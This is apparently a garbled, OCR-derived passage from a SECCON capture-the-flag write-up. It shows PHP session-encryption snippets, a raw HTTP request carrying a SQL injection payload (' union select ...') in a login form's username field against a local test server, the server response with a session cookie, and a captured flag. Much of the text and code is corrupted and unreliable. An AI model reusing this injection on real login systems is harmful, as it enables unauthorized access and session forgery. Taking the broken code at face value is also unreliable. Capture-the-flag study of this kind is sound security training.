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$j = serialize($SESSION)

JSESSION =base64_encode( $j || MAC($3) )
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function au

= base64_decode(

= openssl_decrypt(®c, ENC_METHOD, ENC_KEY, OPENSSL_RAW
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POST / HTTP/1.1 A HTTP/1.1 200 OK

Host: 127.0.0.1:8000 r Date: Thu, 15 Dec 2016 10:34:48 GMT
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_84; rv:50.0) Gecko/20100101 Server: Apache/2.4.7 (Ubuntu)
Firefox/50.0 X-Powered-By: PHP/5.5.9-lubuntud.20
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/%;q=0.8 Set-Cookie:

Accept-lLanguage: zh,en-US;q=0.7,en;q=0.3 JSESSION=YToyOntz0] Q58I mShbWU1 03MEM] c6Im) LbmRhd2FuZ2) 1bmRhd2Fuz2)1bmRhd2FuzZyI 7czo301 Jp
Accept-Encoding: gzip, deflate c2FkbWlul ] t0030dRgrQDtxHgzYdUhKagefo
Referer: http://127.0.0.1:8000/ Vary: Accept-Encoding

Connection: keep-alive Content-Length: 158
Upgrade-Insecure-Requests: 1 Keep-Alive: timeout=5, max=100
Content-Type: application/x-www-form-urlencoded Connection: Keep-Alive
Content-Length: 74 Content-Type: text/html

username=' union select 'bendawangbendawangbendawang','bendawang&password= <!dectype html>

<html>

<head><title>Login</title></head=

<body=

Hello bend gbend gbendawang

<divs<a href="logout.php"=Log out<=/a=</div=
</body=

</html>
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<!doctype html=>

-<title>Login</title></head>
<body=>
ello bendawangbendawangbendawang
SECCON{04%9a65dae9b075ebb68dd78d7c8c300f3b532065}
<div><a href="logout.php">Log out<fa></div>
</body=>
</html=>
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